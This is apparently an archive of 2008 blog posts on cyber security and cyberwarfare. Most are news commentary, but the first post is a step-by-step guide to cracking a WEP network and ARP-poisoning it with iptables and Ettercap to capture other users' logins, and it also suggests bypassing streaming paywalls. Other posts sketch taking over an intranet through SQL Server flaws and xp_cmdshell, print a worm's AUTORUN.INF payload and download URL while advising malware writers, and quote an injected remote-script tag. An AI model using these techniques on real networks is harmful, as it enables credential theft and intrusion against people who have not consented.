A small and quick introduction to ARP poisoning

Share

This article won’t be about something new nor something extraordinary for any experienced computer security or even the average hacker, but since I’ve been ask this question quite often by some of my friends, I decided to explain how to sniff passwords from a network.  Moreover, I’m well aware I haven’t been writing anything for a while, and I want to get back to it once all my personal matters are resolved. I’ll concentrate on WEP wireless networks since they are almost certain to be cracked easily. Although those a deprecated, there are still used in many household as the out-of-the-box default configuration, so it’s still pertinent in my opinion. Then I will explain the ARP (Address Resolution Protocol) poisoning attack, which will be used to intercept packets between the target and the Internet.

Attacking the WEP wireless network

Packets in a WEP network are encryted, so in order to sniff packets off from it, you’ll first need to acquire the WEP key. This can be done easily with a wireless network adapter that supports monitor mode and the aircrack suite. For the adapter, I’m using the Linksys  Compact Wireless-G USB adapter, model no WUSB54GC. Plug your adapter into a USB connector and boot up your machine. Once you have booted up, make sure Backtrack or any other distribution has detected your adapter:

ifconfig rausb0 up

and then put the adapter in “Monitor Mode”

iwconfig rausb0 mode monitor

The goal of a WEP attack is to capture as many initialization vectors (IVs) as possible. IVs are random numbers used with a either 64, 128 and 256-bit key to encrypt a stream cipher. Those are used so that two exact same plain text do not produce the same ciphertext. The problem with WEP is that IVs are very short, and on a busy network, the same vectors get reused quickly. The IV is 24 bit long, therefore there are 16 777 216 possibilities1. Moreover, changing the IV for each packet is optional. The keys are also quite short, therefore opening the possibility of finding the key with some brute force calculation. No matter what is they key length, you will just need more packets.

The WEP protocol then use the randomly generated IV, the WEP key and pass it throught the RC4 cipher to produce a keystream. The keystream is then XORed with the plain text stream to produce the cipher text, as shown in the picture below:

WEP Encryption Schema
WEP Encryption Schema (from Wikipedia)

So basically, if you get many packets with the same Ivs, different ciphertext, you can now try to brute-force the WEP key. And to get those packets, you need traffic on the network. Now if there are already some people connected and surfing the web, you can easily capture packets and replay them to get more IVs, otherwise, you need to generate the traffic yourself.

Once you’ve tell airodump to capture IVs, we will use aireplay to generate more traffic, and therefore capture more IVs quickly. If you look at the airodump screen, you’ll see it capturing packets.

Once you have the key, you can finally start the poisoning process. As you have seen, I have not detailed how to crack a WEP network as it is widely described all over the net. You can find find good video tutorials from InfinityExists here and here. The last 2600 issue also had a good article about it.

The ARP poisoning attack

The concept behind this is simple. ARP is the protocol that maintains network devices tables up-to-date by associating an IP address with a MAC address. The problem with ARP is that it doesn’t really care about who answered, it will gladly update the tables from whoever says so. Most of the time, it won’t even ask. So the idea behind the attack, is to send the client an ARP answer saying “hey, I’m the gateway, send stuff to me” and a second ARP answer to the real gateway saying “hey there, I’m this guy, send me his stuff”. Then you just have to relay the packets between the victim and the gateway.Those schemas are more simply to understand:

Schema of an ARP Poisoning Attack
Schema of an ARP Poisoning Attack

In Linux, the rerouting can be done using the following iptables commands:

iptables -t nat -A PREROUTING -i <interface> -p tcp –dport <port> -j REDIRECT –to-port <redirection port>

iptables -t nat -D PREROUTING -i <interface> -p tcp –dport <port> -j REDIRECT –to-port <redirection port>

I’m showing those commands because you can do a lot with those. Many web applications such as some Flash applications use RTMP (Real-time messaging protocol) to control web applications, which run locally.  Flash server send commands to the application using message. Using those commands, you can filter the packets send or receive from the Flash server. Simply use a sniffer first, then locate which packets you wish to drop, alter or whatever.

For example, some sites gives you samples of live music or videos for 30 seconds, then nag you to pay. Using a sniffer, analyze the traffic and find that RTMP Invoke packet that closes the connection with the server. Code a quick proxy that will let all packets go to the flash application except for the connection closing RTMP packet. Then use the commands above to redirect traffic to your proxy.

00 03 0d 4f c0 6d 00 11  20 a8 32 8b 08 00 45 00 …O.m..  .2…E.
00 b2 7e 52 40 00 78 06  d0 a1 50 4d 74 05 43 c1 ..~R@.x. ..PMt.C.
ab 3e 07 8f d0 d8 9b a6  b0 eb ea 61 49 3d 80 18 .>…… …aI=..
fe 4a 76 52 00 00 01 01  08 0a 00 ef a6 d0 02 43 .JvR…. …….C
f4 32 43 00 00 00 00 00  76 14 02 00 0f 63 6c 6f .2C….. v….clo
73 65 43 6f 6e 6e 65 63  74 69 6f 6e 00 00 00 00 seConnec tion….
00 00 00 00 00 05 02 00  57 32 30 38 20 46 72 65 …….. W208 Fre
65 63 68 61 74 20 61 63  74 69 76 69 74 79 20 74 echat ac tivity t
69 6d 65 6f 75 74 2e 20  49 66 20 79 6f 75 20 77 imeout.  If you w
65 72 65 20 61 20 6d 65  6d 62 65 72 2c 20 74 68 ere a me mber, th
65 20 66 72 65 65 20 63  68 61 74 20 77 6f 75 6c e free c hat woul
64 20 6e 6f 74 20 74 69  6d 65 20 6f 75 74 21 20 d not ti me out!

Example of a RTMP Invoke packet to close a connection.

Of course you could just use Ettercap, which does exactly what have been mentioned above. Start Ettercap with the following:

sudo ettercap -G -W 128:p:25AAAAC18DEADDADA433332B65

This will open the graphical interface (-G), that is if you have installed the GTK interface to Ettercap. -W specify to listen for wireless networks and to use a 128-bit key with key found earlier. I don’t know what the p is really for. You can also use the text mode.

Ettercap
Ettercap

Then select Sniffing > Unified Sniffing > select on which interface you want to sniff. Then start the sniffing: File > Start Sniffing. Now let’s specify which targets you wanna sniff. Go to Hosts > Scan for hosts. That will locate the hosts on the current network. Then popup the hosts list, Hosts > Show Hosts List.

Ettercap - Hosts Found on the Network
Ettercap - Hosts Found on the Network

On the list, add the router to target 2 and the hosts you wanna sniff to target 1. Only one step left: MITM > ARP poisoning.  Select Sniff Remote Connections > OK.

Ettercap ARP Poisoining Options
Ettercap ARP Poisoining Options

Then you wait for users to connect to pages like MySpace or Hotmail etc…and Ettercap will find out the sensitive information for you.

See also:

Wireless Networking, Praphul Chandra, Alan Bensky, Ron Olexa, Daniel Mark Dobkin, David A. Lide, Farid Dowla

RFC 826 – Ethernet Address Resolution Protocol, David C. Plummer, November 1982, http://www.faqs.org/rfcs/rfc826.html

Wired Equivalent Protocol, Wikipedia, http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy

Ettercap, http://ettercap.sourceforge.net/

Microsoft’s Security Hole Framework

Share

Since a few days, news about the Internet Explorer exploit has been sweeping the Internet (see previous post Internet Explorer 7 Attack in the Wild). It has not been confirmed that Internet Explorer 5, 6 and 7 are affected and the problem reside in the data binding of objects. Basically, the array containing objects in memory is now updated after their deletion; therefore the code stays in memory:

The vulnerability is caused by memory corruption resulting from the way Internet Explorer handles DHTML Data Bindings. This affects all currently supported versions of Internet Explorer. Malicious HTML that targets this vulnerability causes IE to create an array of data binding objects, release one of them, and later reference it. This class of vulnerability is exploitable by preparing heap memory with attacker-controlled data (“heap spray”) before the invalid pointer dereference[1].

A patch as now been issued by Microsoft[2], so update your Windows….now!

Another vulnerability that hasn’t made as much noise is the one found by SEC Consult Vulnerability Lab[3], probably because this vulnerability is in Microsoft SQL Server 2000 and 2005, which is not as widely known as Internet Explorer. Not to forget the hole found in Wordpad also[4]. This is significant though, as Microsoft now offer a complete framework for hackers to exploit a Microsoft system.

Therefore, it is now possible for an attacker to execute arbitrary code on a server using SQL server, which might be use to modify web pages to exploit the Internet Explorer vulnerability. Imagine an intranet with a web server running Windows Server 2003, a SQL Server as its database and where all clients are forced to run Internet Explorer. Now an employee with the appropriate knowledge could practically own the entire network. The hardest part would be to find the injection point. That means studying and testing the Intranet website for unsanitized input. If he can’t, just try to social engineer your way by sending a malicious WRI file to one of the administrator.

If one injection point can be found, then he could own the SQL Server using the last vulnerability discovered in SQL Server. This exploit will cause SQL Server to write memory and therefore allowing execution of arbitrary code. This is done by using the sp_replwritetovarbin stored procedure with illegal arguments. Bernhard Mueller has released a proof-of-concept script that can be used to verify if the database is vulnerable to the attack:

This procedure will trigger an access violation if the current SQL Server is vulnerable. Then one only needs to append correctly the appropriate shellcode to the buffer “@buf” and gain new privileges. Once the database is yours, look for fields in tables that are used to make links on the web server of the intranet, and use the technique described in this previous article on how this can give you access to about every computer that connects to the webserver. Of course if the database contains sensible information such as passwords, this step might not be necessary.

You could also spawn a command shell from SQL Server by enabling the xp_cmdshell stored procedure:

And then executing any command you wish with that command:

xp_cmdshell

After that, the network is yours. But what if SQL Server is not installed? Apparently Wordpad is there to the rescue….or almost as this exploit only apply to Windows XP SP2, Windows 2000 and Windows Server 2003. This exploit will result in the attacker gaining the same privilege as the user that opened the malicious .wri file, therefore here is another reason not to use your computer as Administrator. According to the advisory:

When Microsoft Office Word is installed, Word 97 documents are by default opened using Microsoft Office Word, which is not affected by this vulnerability. However, an attacker could rename a malicious file to have a Windows Write (.wri) extension, which would still invoke WordPad[5].

The source of the problem comes from the Wordpad Text Converter, a component use to read Word documents even if Microsoft Word isn’t installed on the system. Not much is known about this attack. Trend Micro as an article about it and a trojan[6], identified as TROJ_MCWORDP.A[7] using this vulnerability.

This attack is triggered when the user opens a .WRI, .DOC or .RTF file, most of the time sent by e-mail. Apparently this trojan looks to see if it runs in a virtual environment (VMWare). If it is not, it drops a BKDR_AGENT.VBI file, which will open a random port on the machine it just infected, opening it to the entire world.

Schema of the Wordpad Attack (Image from Trend Micro)
Schema of the Wordpad Attack (Image from Trend Micro)

See also:

New MS SQL Server vulnerability“, Toby Kohlenberg, SANS Internet Storm Center, December 15, 2008, http://isc.sans.org/diary.html?storyid=5485 (accessed on December 16, 2008)

Microsoft looking into WordPad zero-day flaw“, Robert Vamosi, CNet News, December 10, 2008, http://news.cnet.com/8301-1009_3-10120546-83.html (accessed on December 16, 2008)

Vulnerability Note VU#926676“, US CERT, December 11, 2008, http://www.kb.cert.org/vuls/id/926676 (accessed on December 16, 2008)


[1] “Clarification on the various workarounds from the recent IE advisory”,  Microsoft, December 12, 2008, http://blogs.technet.com/swi/archive/2008/12/12/Clarification-on-the-various-workarounds-from-the-recent-IE-advisory.aspx (accessed on December 16, 2008)

[2] “Microsoft Issuing Emergency Patch For Internet Explorer”, Thomas Claburn, InformationWeek, December 16, 2008, http://www.informationweek.com/news/internet/security/showArticle.jhtml?articleID=212500756&subSection=Vulnerabilities+and+threats (accessed on December 16, 2008)

[3] “Microsoft SQL Server sp_replwritetovarbin limited memory overwrite vulnerability”, Bernhard Mueller, SEC Consult Vulnerability Lab, December 4, 2008, http://www.sec-consult.com/files/20081209_mssql-2000-sp_replwritetovarbin_memwrite.txt (accessed on December 16, 2008)

[4] “Exploit for unpatched WordPad, IE flaws in the wild”, Peter Bright, Ars Technica, December 10, 2008, http://arstechnica.com/journals/microsoft.ars/2008/12/10/exploit-for-unpatched-wordpad-ie-flaws-in-the-wild (accessed on December 16, 2008)

[5] “Microsoft Security Advisory (960906)”,  Microsoft Technet, December 9, 2008, http://www.microsoft.com/technet/security/advisory/960906.mspx (accessed on December 16, 2008)

[6] “A Word(pad) of Caution”, Roderick Ordoñez, Trend Micro,  http://blog.trendmicro.com/a-wordpad-of-caution/ (accessed on December 16, 2008)

[7] “TROJ_MCWORDP.A”, Trend Micro, December 11, 2008, http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=TROJ_MCWORDP.A&VSect=P (accessed on December 16, 2008)

LATimes: Agent.BTZ Might be Concerted Cyber-Attack

Share

The Los Angeles Times reports that the reports about the Agent.BTZ worm spreading to the U.S Army networks might be a coordinated attacks originating from Russia[1].

The U.S Central Command is now infected with the worm and a high-classified network has been hit also.

It is unclear if the author of the article thinks that an infection is the same things as an ‘attack’ though. From the article:

“Military electronics experts have not pinpointed the source or motive of the attack and could not say whether the destructive program was created by an individual hacker or whether the Russian government may have had some involvement.”

This infection has been report at the beginning of the month. This might just be sensationalism ofrcomplete ignorance from the author who might think than an infection by a worm made in Russia is a deliberate attack.

Officials would not describe the exact threat from agent.btz, or say whether it could shut down computers or steal information. Some computer experts have reported that agent.btz can allow an attacker to take control of a computer remotely and to take files and other information from it.

Then maybe they should just call Symantec or F-Secure or even better, Google it…or this if they are having a hard time..

See also:

“U.S Army Infected by Worm”, Jonathan Racicot, Cyberwarfare Magazine, November 11, 2008, http://cyberwarfaremag.wordpress.com/2008/11/20/us-army-infected-by-worm/

Add to FacebookAdd to NewsvineAdd to DiggAdd to Del.icio.usAdd to StumbleuponAdd to RedditAdd to BlinklistAdd to Ma.gnoliaAdd to TechnoratiAdd to Furl


[1] “Cyber-attack on Defense Department computers raises concerns”, Julian E. Barnes, Los Angeles Times,  November 28, 2008, http://www.latimes.com/news/nationworld/iraq/complete/la-na-cyberattack28-2008nov28,0,230046.story (accessed on November 28, 2008)

Use of Cyber Warfare Will Limit U.S Freedom of Action says Intelligence

Share

Not entirely cyber warfare related but still a very interesting read, but according to the Global Trends 2025 report by the National Intelligence Council, irregular warfare, which cyber warfare is part of, will play a determinant part into the future of the United States:

“… expanded adoption of irregular warfare tactics by both state and nonstate actors, proliferation of long-range precision weapons, and growing use of cyber warfare attacks increasingly will constrict US freedom of action.[1]

Unfortunately this is the only mention of cyber warfare in the report, which fails to go into further details. This shouldn’t come to a surprise to anyone though. We all know how reliant on technology everything is nowadays and the interconnection between every part of the modern society. Not only does the United States recognized that cyber warfare will be an important part of the upcoming conflicts, but also does China and Russia, which are stated to become heavyweights on the world stage:

“Few countries are poised to have more impact on the world over the next 15-20 years than China. If current trends persist, by 2025 China will have the world’s second largest economy and will be a leading military power.[2]

Right now, even with her very large armed forces of 2 million active personnel[3], China is trying to modernize its military to be more mobile and efficient. In order to accomplish that modernization, it has explored many new avenues that western societies are still trying to grasp. In 1999, two Chinese Air Forces colonels discussed new ways to conduct war in a guide titled “Unrestricted Warfare”, where they describe the use of computers as new weapons for future warfare:

“With technological developments being in the process of striving to increase the types of weapons, a breakthrough in our thinking can open up the domain of the weapons kingdom at one stroke. As we see it, a single man-made stock-market crash, a single computer virus invasion, or a single rumor or scandal that results in a fluctuation in the enemy country’s exchange rates or exposes the leaders of an enemy country on the Internet, all can be included in the ranks of new-concept weapons.[4]

Experts seem to agree that this kind of “new weapon” could do far more damage than one can imagine:

“If someone is able to attack information that is needed by decision makers, or that is crucial to organizing logistics and supply lines of an army on the ground, that means they can induce chaos in a nation[5] said Sami Saydjari, who worked as a Pentagon cyber expert for 13 years and now runs a private company, Cyber Defence Agency.

. If current trends persist, by 2025 China will have the world’s second largest economy and will be a leading military power
... by 2025 China will have the world’s second largest economy and will be a leading military power

We don’t know how much of the concepts explained in this book as been accepted by the People’s Liberation Army (PLA), but events from the last decade can gave us clues as how much China has developed cyber warfare capacities based on the text of the two colonels. . Concretes realizations of these ideas may have happened as soon as four years after the publication of the guide during Operation Titan Rain in 2003. With a computer network of more than 3.5 million computers spread across 65 countries, the Pentagon faces many challenges against a strong and sophisticated attack and Operation Titan Rain proved this. According to an article on ZDNet[6], 20 hackers, based or using proxies based in China, successfully attacked American networks in a coordinated attack:

 

  • At 10:23 p.m. PST, the Titan Rain hackers exploited vulnerabilities at the U.S. Army Information Systems Engineering Command at Fort Huachuca, Ariz.

  • At 1:19 a.m., they exploited the same hole in computers at the Defense Information Systems Agency in Arlington, Va.

  • At 3:25 a.m., they hit the Naval Ocean Systems Center, a Defense Department installation in San Diego, Calif.

  • At 4:46 a.m., they struck the U.S. Army Space and Strategic Defense installation in Huntsville, Ala.

The results from this operation were the theft of several classified information:

“From the Redstone Arsenal, home to the Army Aviation and Missile Command, the attackers grabbed specs for the aviation mission-planning system for Army helicopters, as well as Falconview 3.2, the flight-planning software used by the Army and Air Force,” according to Alan Paller, the director of the SANS Institute[7].

Many other attacks have been suspected to originate from China afterwards. Attacks against most of the G7 countries such as France[8], UK and Germany[9], New Zealand[10] and India[11] have been reported by many medias.

Cyber War
Attacks against most of the G7 countries such as France, UK and Germany, New Zealand and India have been reported

Although evidence gathered shows that China is aggressively pursuing irregular warfare, Russia is also gaining a strong cyber warfare reputation on the world scene. Its attack against Estonia has won world coverage and succeeding attacks on Georgia gave the country experience in that domain. It is again unclear though if attacks from Russia are actually coming from government agencies or from criminal behaviour.

The first incident concerning Russia goes back to 1999, before the Chinese cyber attacks. American networks went under siege in what is now called Operation Moonlight Maze. Back then, FBI officials were investigating a breach into the DOD satellite control systems. Again, while the first accusations for the source of this attack were Russian authorities, it was soon shown that they were not implied in this attack[12]. The only certitude about this operation was that the attack went through a Russian proxy.

Nevertheless, Russia cyber warfare was displayed on Estonia in 2007. Once against, it was unclear if the government was involved or if Russian patriotism over the removal of the war memorial[13] caused Russian script kiddies and botnets to answer with a massive DDoS attack. Moscow always denied any involvement in that case. It is also well known that major botnets that are lurking on the net are often controlled by Russian cyber-criminal gangs such as the Russian Business Network. It’s quite possible that those cyber-gangs ordered their botnets to retaliate against Estonia, especially since the attack consisted mostly of a denial-of-service attack, and wasn’t not as sophisticated as a coordinated hacking attack on networks. Another plausible option would be that Russia’s cyber army is a mercenary force.

A repetition of the Estonia cyber attack then took place against Georgia during the Russia-Georgian conflict. The same kind of attack occurred and took down various governmental and commercial websites: HTTP floods were send to www.parliament.ge and president.gov.ge. Some other sites were hi-jacked and displayed fake information. The Georgian government had to put up a temporary website on Blogspot. This time, the Russian Business Network was openly suspected by many analysts to be behind the attacks[14].

HTTP floods were send to www.parliament.ge and president.gov.ge.
HTTP floods were send to www.parliament.ge and president.gov.ge.

McAfee claims that 120 countries around the world are now developing cyber warfare strategies[15]. It is inevitable that countries without cyber warfare capacities will be at great disadvantage in any arising conflict, as disruption of communications will be the first objective of any belligerent. It’s crucial that a strong offensive and defensive cyber war force be developed in order to not only defend against cyber threats, but also wage war in cyberspace.

See also:

“Inside the Chinese Hack Attack”, “Nathan Thornburgh”, Time, August 25, 2005, http://www.time.com/time/nation/article/0,8599,1098371,00.html (accessed on November 21, 2008)

“Coordinated Russia vs. Georgia cyber attack in progress”, Dancho Danchev, August 11, 2008, http://blogs.zdnet.com/security/?p=1670 (accessed on November 21, 2008)


[1] “Global Trends 2025: A Transformed World”, National Intelligence, U.S Government, November 2008, p. XI

[2] Ibid. p. 29

[3] The Asian Conventional Military Balance in 2006: Overview of major Asian Powers”, Anthony H. Cordesman, Martin Kleiber, CSIS, June 26, 2006, p.24

[4] Translation from “Unrestricted Warfare”, Qiao Liang, Wang Xiangsui, PLA Literature and Arts Publishing House, February 1999. p. 25

[5] “China flexes muscles of its ‘informationised’ army”, Ed Pilkington, Bobbie Johnson, The Guardian, September 5, 2007, http://www.guardian.co.uk/technology/2007/sep/05/hacking.internet (accessed on November 21, 2008)

[6] “Security experts lift lid on Chinese hack attacks”, “Tom Espiner”, ZDNet, November 23, 2005, http://news.zdnet.com/2100-1009_22-145763.html (accessed on November 21, 2008)

[7] Ibid.

[8] “French government falls prey to cyber-attacks ‘involving China'”, Agence France-Presse, September 9, 2007, http://www.france24.com/france24Public/en/news/france/20070909-Internet-piracy-france-secuirty-china-hacker.php (accessed on November 21, 2008)

[9] “Chinese government at the center of five cyber attack claims”, Jeremy Reimer, September 14, 2007, http://arstechnica.com/news.ars/post/20070914-chinese-government-at-the-center-of-five-cyber-attack-claims.html (accessed on November 21, 2008)

[10] “New Zealand hit by foreign computer hacking”, Agence France-Presse, The Age, September 11, 2007, http://www.theage.com.au/news/Technology/New-Zealand-hit-by-foreign-computer-hacking/2007/09/11/1189276701773.html (accessed on November 21, 2008)

[11] “China mounts cyber attacks on Indian sites”, Indrani Bagchi, The Times of India, May 5, 2008, http://timesofindia.indiatimes.com/China_mounts_cyber_attacks_on_Indian_sites/articleshow/3010288.cms (accessed on November 21, 2008)

[12] “Russia hacking stories refuted”, Federal Computer Weekly, September 27, 1999, http://www.fcw.com/print/5_188/news/68553-1.html?page=1 (accessed on November 21, 2008)

[13] “Estonia hit by ‘Moscow cyber war'”, BBC News, May 17, 2007,  http://news.bbc.co.uk/2/hi/europe/6665145.stm (accessed on November 21, 2008)

[14] “Georgia: Russia ‘conducting cyber war'”, Jon Swaine, The Telegraph, August 11, 2008, http://www.telegraph.co.uk/news/worldnews/europe/georgia/2539157/Georgia-Russia-conducting-cyber-war.html (accessed on November 21, 2008)

[15] “China Disputes Cyber Crime Report”, Jordan Robertson, Washington Post, November 29, 2007, http://www.washingtonpost.com/wp-dyn/content/article/2007/11/29/AR2007112901588.html (accessed on November 21, 2008)

U.S Army Infected by Worm

Share

Wired reports that the U.S Army network is under assault by a variant of the SillyFDC worm called Agent-BTZ [1]. In order to restrain the infection, the U.S. Strategic Command has ban the use of every portable media on its network, this include USB keys, CDs, flash cards, floppies etc… Both the SIPRNet and NIPRNet are affected by this directive.

The SillyFDC worm infects systems through replication, i.e. by copying itself to various locations such as these folders[2]:

  • %System%
  • %Windir%
  • %Temp%
  • %UserProfile%
  • %ProgramFiles%
  • %SystemDrive%
  • %CommonProgramFiles%
  • %CurrentFolder%

Computer Virus Looming
Computer Virus Looming

It will also try to copy itself to any drive connected to the machine by scanning drives A:\ to Z:\, which is why the U.S Army is banning the use of portable media for the time being.  According to F-Secure who first discovered the worm[3], the variant in question will also create these files[4]:

  • %windir%\system32\muxbde40.dll
  • %windir%\system32\winview.ocx
  • %temp%\6D73776D706461742E746C62FA.tmp
  • %windir%\system32\mswmpdat.tlb

It will then install itself into the registry to make sure the worm starts every time the computer is booted. It will also attempt to download a JPG file from http://worldnews.ath.cx/update/img0008/[REMOVED].jpg and create an AUTORUN.INF file on each drive on the computer, which contains the following:

[autorun]
open=
shell\open=Explore
shell\open\Command=rundll32.exe .\\[RANDOM].dll,InstallM
shell\open\Default=1

[RANDOM] is a randomly generated filename for the malicious DLL. Each time a new partition or a new drive is plugged in, Agent.BTZ will infect it immediately.

The SillyFDC worm doesn’t have any payload, as it only replicates itself through systems it finds using physical medias only. But its variant, the Agent.BTZ is a known Trojan dropper. A dropper is the kind of Trojan that will look to download and execute other malware. It’s surprising that it found its way into the U.S Army network. So that might be a tip for any worm/Trojan writer: add physical media replication to your malware like in the good ol’ days before e-mail, as it seems sending it by e-mail or click jacking is pretty well filtered in military networks, but peripherals such as USB keys are still often used by personnel. And this will surely open the eyes of the network admins of the U.S Army: scan anything plugged into the network.

Also, Graham Cluley, senior technology consultant at Sophos advises:

“… that users disable the autorun facility of Windows so removable devices such as USB keys and CD ROMs do not automatically launch when they are attached to a PC”

With whom I agree.

Update:

Since so many people asked me about this worm, I looked deeply into Internet and found this code, which seems to be part of the script of the Silly FDC worm (that’s the best I could do for now). This script basically copy files from one directory to another, renames the core of the worm and put it into another directory and add registry keys. I cannot confirm this as I found this on an Indonesian blog, so if anyone can look into this, please let me know. Thank you. Blog : http://morphians.wordpress.com/category/uncategorized/

See also:

“US Army bans USB devices to contain worm”, John Leyden, The Register, November 20, 2008, http://www.theregister.co.uk/2008/11/20/us_army_usb_ban/ (accessed on November 20, 2008)


[1] “Under Worm Assault, Military Bans Disks, USB Drives”, Noah Shachtman, Danger Room, Wired, http://blog.wired.com/defense/2008/11/army-bans-usb-d.html (accessed on November 20, 2008)

[2] “W32.SillyFDC”, Symantec, http://securityresponse.symantec.com/security_response/writeup.jsp?docid=2006-071111-0646-99&tabid=1 (accessed on November 20, 2008)

[3] “Troj/Agent-EMB”, Sophos, http://www.sophos.com/security/analyses/viruses-and-spyware/trojagentemb.html (accessed on November 20, 2008)

[4] “F-Secure Malware Information Pages: Worm:W32/Agent.BTZ”, F-Secure Corporation, http://www.f-secure.com/v-descs/worm_w32_agent_btz.shtml (accessed on November 20, 2008)

International Monetary Fund Infected With Spyware

Share

According to a misleading and pretty much unrelated article, FOX News reports that the International Monetary Fund (IMF) network has been infected by spyware[1]. The IMF denies any security breach or critical intrusion problems.

The article goes on discussing various topics such as the financial crisis, cyber security of the new president-elect and event describe spyware as “software that is secretly installed on a computer to intercept information or take control of the system” which is partially wrong, as spyware don’t necessarily implies control of the computer, and as far as I know, spyware can come bundled with software and doesn’t mean it’s secretly installed. It does, however intercept information, but that could be information about surfing habits. No information is given about the data collected or the type of spyware detected, but always according to FOX, “cyber-hackers” would be the cause…

The report goes on writing about Chinese attempts to develop cyber warfare capacities, which is not related, and do not give any concrete information about the alleged “security breach” at the IMF. FOX News cites a spokesman, Bill Murray, saying precautions had been implemented but didn’t report anything about an “intrusion”:

“There was no lockdown as far as I’m aware” says Murray. “I’m not aware of any major breaches, but enhanced security measures have been taken.”

Therefore, be suspicious about this story, as it seem widely over exaggerated by FOX News . I’m not quite sure the author really knows what he’s talking about…


[1] “Cyber-Hackers Break Into IMF Computer System”, Richard Behar, FOX News, November 14, 2008, http://www.foxnews.com/story/0,2933,452348,00.html (accessed on November 17, 2008)

New Cyber Attack on the Way

Share

A new SQL Injection tool is being used to conduct a mass cyber attack on various servers across the net. It has already attacked websites such as Travelocity.com, countyofventura.org and missouri.edu[1]. Websense has observed around 1200 servers from Europe, Asia and the U.S containing the injection.

“Websites being hacked and links placed on them that lead to malicious servers. We’re estimating that in the last two days along, between 2000 and 10,000 servers, mainly Western European and American ones, have been hacked. It’s not yet clear who’s doing this.[2]says an analyst from Viruslist.com.

The targeted websites are usually running an ASP engine and are hacked by using stolen accounts or using SQL injections. The injection add a javascript line at the end of the page: <script src=http://<domain>/h.js>, where <domain> is a domain redirecting to another server called wexe.com. Kaspersky Lab, which has first reported the attack[3], has identified 6 of those domains:

  • armsart.com
  • acglgoa.com
  • idea21.org
  • yrwap.cn
  • s4d.in
  • dbios.org

These servers will retrieve a javascript (h.js) from a Chinese server called wexe.com, which will try various exploits against the victims. If one is found, it will install a variety of Trojans that will try to download even more downloaders, steal World of Warcraft accounts and other private information. All that is done without the user’s knowledge, and could be done from legitimate websites.

Don Jackson, director of threat intelligence for SecureWorks, is saying that his team is currently in talks with the developers of the tools in order to get a copy and reverse-engineer it. Jackson claims that the attacks looks like the same used by the Asprox botnet, but is less aggressive and stealthier. The tool also uses a digital rights management (DRM) system.


[1] “Relentless Web Attack Hard To Kill”, Kelly Jackson Higgins, DarkReading, November 11, 2008, http://www.darkreading.com/security/attacks/showArticle.jhtml?articleID=212001872 (accessed on November 12, 2008)

[2] “Big Chinese Hack 2?”, Viruslist.com, http://www.viruslist.com/en/weblog (accessed on November 13, 2008)

[3] Ibid.

Survey Points to Energy Sector at Risk of Cyber Attacks

Share

A survey of 200 leaders from the critical infrastructure industries revealed that the energy sector is the most likely to be victim of a cyber attack. The survey was completed by IDC was conducted in August and October in Canada, the U.S and Europe[1].

The reasons to explain this phenomenon are the cost, apathy and government bureaucracy according to the survey. Also, industries are adding more and more possible access points to the internal network by connecting new sensors, meters and other equipment to their networks.

“]Percentage of respondents prepared and not prepared by industry sectors

Of course, energy industries networks are valuable targets, and would probably be the first victims in a case of a full-scale cyber attack. And as the events of 2003 shown[3], only a few power plants need to go down in order to create chaos on a wide region.

If costs are the main factor to wait before securing networks, security is not likely to be in the priorities of managers during the economic crisis that’s coming on the horizon. Unfortunately, those who take the risk of not hardening their security now may pay the price later…And according to Rick Nicholson, research vice president for IDC’s Energy Insights:

“Most utility CIOs [chief information officers] believe that their companies will be compliant with relevant standards, but still have a long way to go before being adequately prepared for all cyber attacks.”

Another interesting point, all these news come right after a newly president-elect enters the Whitehouse… see Whitehouse Hacked by Chinese Several Times, Both U.S Presidential Campaigns Hacked.


[1] “Survey: Critical infrastructure risks cyber attack”, Miya Knights, IT PRO, November 10, 2008, http://www.itpro.co.uk/608067/survey-critical-infrastructure-risks-cyber-attack (accessed on November 11, 2008)

[2] “Energy industry at risk of cyberattack, survey says”, Elinor Mills, November 11, 2008, http://news.cnet.com/8301-1009_3-10094382-83.html?part=rss&tag=feed&subj=News-Security (accessed on November 11, 2008)

[3] “Blackouts cause N America chaos”, BBC News, August 15, 2003,  http://news.bbc.co.uk/2/hi/americas/3152451.stm (accessed on November 11, 2008)

Whitehouse Hacked by Chinese Several Times

Share

An unnamed senior US official has declared to the Financial Times that the Whitehouse computer network was victim to numerous cyber attacks from China. According to the same official, the attackers had access to e-mails for short periods of time[1].

The unclassified network of the Whitehouse was breach numerous times by the attackers, which may have stole information. The sensibility of the information accessed is not specified, but since it was on the unclassified network, no data of value should have been viewed by the hackers. The attacks were detected by the National Cyber Investigative Joint Task Force, an agency created in 2007 and under the FBI[2].

No one from the American and Chinese sides commented on this event. This declaration comes amid many cyber attacks performed in previous years also and every time, blamed on the Chinese or Russians. In 2007, the Pentagon claimed to have been hacked by the cyber division of the People’s Liberation Army (PLA)[3]. It has been known for a while not that China has developed advanced cyber warfare capabilities and has gain a lot of experience.

It has been known for a while not that China has developed advanced cyber warfare capabilities and has gain a lot of experience in that domain.
It has been known for a while not that China has developed advanced cyber warfare capabilities and has gain a lot of experience in that domain.

[1] “Chinese hack into White House network”, Demetri Sevastopulo, The Financial Times, November 6, 2008, http://www.ft.com/cms/s/0/2931c542-ac35-11dd-bf71-000077b07658.html?nclick_check=1 (accessed on November 7, 2008)

[2] “New US National Cyber Investigative Joint Task Force Will Be Led by FBI”, ILBS, April 28, 2008, http://www.ibls.com/internet_law_news_portal_view.aspx?id=2044&s=latestnews (accessed on November 6, 2008)

[3] “Pentagon: Chinese military hacked us”, Lewis Page, The Register, http://www.theregister.co.uk/2007/09/04/china_hack_pentagon_leak/ (accessed on November 6, 2008)

Chinese Cyber Warfare to Gain Military Superiority

Share

Since the 70s, when Deng Xiaoping was the head of China, the People’s Liberation Army tried to modernize itself and cut its size in order to become more efficient. Still, China is still behind when it comes to military even if its defense budget is the second largest after the United States on the planet, with US$57 billion in 2008[1]. According to an article published in Culture Mandala, China could boost its cyber warfare capabilities in order to compensate for their technological backwardness.

It started as soon as in 2003, when it deployed its first cyber warfare units, the “zixunhua budui[2]“. Since, many attacks have been attributed to China, such as Operation Titan Rain in 2003[3]. China hopes that by using asymmetrical warfare, such as information warfare and cyber warfare, it might level other modern armies.

Michael Vickers, Senior Vice President for Strategic Studies at the Center for Strategic and Budgetary Assessments declared that “a Chinese attack on Taiwan could entail special operations and cyber attacks on U.S. regional bases in Japan and South Korea, and might even include cyber attacks on the U.S. homeland that target the U.S. financial, economic, energy, and communications infrastructure[4]“. In the same document, we can read:

